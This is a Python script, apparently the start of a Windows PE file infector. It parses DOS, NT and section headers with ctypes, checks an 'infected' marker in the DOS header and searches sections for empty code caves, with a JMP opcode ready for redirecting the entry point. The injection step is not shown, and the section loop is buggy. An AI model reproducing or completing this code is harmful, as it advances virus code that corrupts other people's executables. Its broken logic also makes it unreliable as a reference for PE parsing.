import ctypes,sys
IMAGE_DOS_SIGNATURE = 23117 #MZ
IMAGE_NT_SIGNATURE = 17744 #PE
IMAGE_ORDINAL_FLAG32 = 2147483648
MY_SIGN_INFECT = 1070
IMAGE_SIZEOF_SHORT_NAME = 8
class IMAGE_DATA_DIRECTORY(ctypes.Structure):
    _fields_ = [('VirtualAddress', ctypes.c_int),
                ('Size', ctypes.c_int)]

class Misc(ctypes.Union):
    _fields_ = [("PhysicalAddress",ctypes.c_int),
                ("VirtualSize",ctypes.c_int)]
class IMAGE_SECTION_HEADER(ctypes.Structure):
    _fields_ = [("Name",ctypes.c_byte * IMAGE_SIZEOF_SHORT_NAME),
                ("Misc",Misc),
                ("VirtualAddress",ctypes.c_int),
                ("SizeOfRawData",ctypes.c_int),
                ("PointerToRawData",ctypes.c_int),
                ("PointerToRelocations",ctypes.c_int),
                ("PointerToLinenumbers",ctypes.c_int),
                ("NumberOfRelocations",ctypes.c_short),
                ("NumberOfLinenumbers",ctypes.c_short),
                ("Characteristics",ctypes.c_int)]
class IMAGE_DOS_HEADER(ctypes.Structure):
    _fields_=[('e_magic',ctypes.c_short),
              ('e_cblp', ctypes.c_short),
              ('e_cp', ctypes.c_short),
              ('e_crlc', ctypes.c_short),
              ('e_cparhdr', ctypes.c_short),
              ('e_minalloc', ctypes.c_short),
              ('e_maxalloc', ctypes.c_short),
              ('e_ss', ctypes.c_short),
              ('e_sp', ctypes.c_short),
              ('e_csum', ctypes.c_short),
              ('e_ip', ctypes.c_short),
              ('e_cs', ctypes.c_short),
              ('e_lfarlc', ctypes.c_short),
              ('e_ovno', ctypes.c_short),
              ('e_res', ctypes.c_short * 4 ),
              ('e_oemid',ctypes.c_short),
              ('e_oeminfo', ctypes.c_short),
              ('e_res2', ctypes.c_short * 10),
              ('e_lfanew', ctypes.c_int),]
class IMAGE_OPTIONAL_HEADER(ctypes.Structure):
    _fields_=[('Magic',ctypes.c_short),
              ('MajorLinkerVersion',ctypes.c_byte),
              ('MinorLinkerVersion',ctypes.c_byte),
              ('SizeOfCode',ctypes.c_int),
              ('SizeOfInitializedData',ctypes.c_int),
              ('SizeOfUninitializedData',ctypes.c_int),
              ('AddressOfEntryPoint',ctypes.c_int),
              ('BaseOfCode',ctypes.c_int),
              ('BaseOfData',ctypes.c_int),
              ('ImageBase',ctypes.c_int),
              ('SectionAlignment',ctypes.c_int),
              ('FileAlignment',ctypes.c_int),
              ('MajorOperatingSystemVersion',ctypes.c_short),
              ('MinorOperatingSystemVersion',ctypes.c_short),
              ('MajorImageVersion',ctypes.c_short),
              ('MinorImageVersion',ctypes.c_short),
              ('MajorSubsystemVersion',ctypes.c_short),
              ('MinorSubsystemVersion',ctypes.c_short),
              ('Win32VersionValue',ctypes.c_int),
              ('SizeOfImage',ctypes.c_int),
              ('SizeOfHeaders',ctypes.c_int),
              ('CheckSum',ctypes.c_int),
              ('Subsystem',ctypes.c_short),
              ('DllCharacteristics',ctypes.c_short),
              ('SizeOfStackReserve',ctypes.c_int),
              ('SizeOfStackCommit',ctypes.c_int),
              ('SizeOfHeapReserve',ctypes.c_int),
              ('SizeOfHeapCommit',ctypes.c_int),
              ('LoaderFlags',ctypes.c_int),
              ('NumberOfRvaAndSizes',ctypes.c_int),
              ('DataDirectory',IMAGE_DATA_DIRECTORY * 16 )]
class IMAGE_FILE_HEADER(ctypes.Structure):
    _fields_=[('Machine',ctypes.c_short),
              ('NumberOfSections',ctypes.c_short),
              ('TimeDateStamp',ctypes.c_int),
              ('PointerToSymbolTable',ctypes.c_int),
              ('NumberOfSymbols',ctypes.c_int),
              ('SizeOfOptionalHeader',ctypes.c_short),
              ('Characteristics',ctypes.c_short)]
class IMAGE_NT_HEADERS(ctypes.Structure):
    _fields_=[('Signature',ctypes.c_int),
              ('FileHeader', IMAGE_FILE_HEADER),
              ('OptionalHeader',IMAGE_OPTIONAL_HEADER)]
def Insert(FileObj):
    DataLen = ctypes.c_int
    DataAddress = ctypes.c_int
    DOSHeader = IMAGE_DOS_HEADER()
    PeHeader = IMAGE_NT_HEADERS()
    kernel32 = ctypes.windll.LoadLibrary("kernel32.dll")
    RtlMoveMemory = ctypes.windll.LoadLibrary("kernel32.dll").RtlMoveMemory
    i = ctypes.c_int
    DataLen = len(FileObj)
    DataAddress = kernel32.lstrcpynA(FileObj, FileObj, 0)
    RtlMoveMemory(ctypes.addressof(DOSHeader), DataAddress, 64)
    print("DataAddress",DataAddress,type(DataAddress),id(FileObj))
    if (DOSHeader.e_magic != IMAGE_DOS_SIGNATURE):
        return False
    else:
        print('DataLen:', str(DataLen), str(DOSHeader.e_lfanew + 248))
        if (DataLen < DOSHeader.e_lfanew + 248):
            return False
    print("addressofPeHeader",hex(ctypes.addressof(PeHeader)))
    print("sizeofPeHeader",ctypes.sizeof(PeHeader))
    print("248",hex(DataAddress + DOSHeader.e_lfanew))
    RtlMoveMemory(ctypes.addressof(PeHeader), DataAddress + DOSHeader.e_lfanew, 248)
    
    if (PeHeader.Signature != IMAGE_NT_SIGNATURE):
        return False
    if (DOSHeader.e_ovno == MY_SIGN_INFECT):
        print("Is's Infected!")
        return


    Sec = PeHeader.FileHeader.NumberOfSections
    pSec = IMAGE_SECTION_HEADER()

    RtlMoveMemory(ctypes.addressof(pSec),DataAddress+ctypes.sizeof(IMAGE_NT_HEADERS)+DOSHeader.e_lfanew,ctypes.sizeof(IMAGE_SECTION_HEADER))

    print("Sec", Sec)

    for i in range(Sec):
        Empty = ctypes.c_int
        deviation = ctypes.c_int
        VAddress = ctypes.c_int
        OEP = ctypes.c_int
        NOep = ctypes.c_int
        Empty = pSec.SizeOfRawData-pSec.Misc.VirtualSize
        deviation = pSec.PointerToRawData+pSec.Misc.VirtualSize
        print("Empty:" ,Empty)
        print("deviation:" ,deviation)
        JMP = 233
        if Empty <= 0:
            pSec+=ctypes.sizeof(IMAGE_SECTION_HEADER)
            continue

Insert(open("D:\\null.exe","rb").read())